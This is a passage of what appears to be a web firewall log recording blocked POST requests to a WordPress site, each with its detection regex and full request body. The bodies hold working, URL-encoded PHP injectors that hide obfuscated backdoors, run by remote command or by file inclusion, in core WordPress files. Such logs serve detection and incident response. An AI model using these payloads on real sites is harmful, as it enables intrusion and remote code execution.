%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4379\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:46:43","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ez:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4356\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nEz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:46","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:6197\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
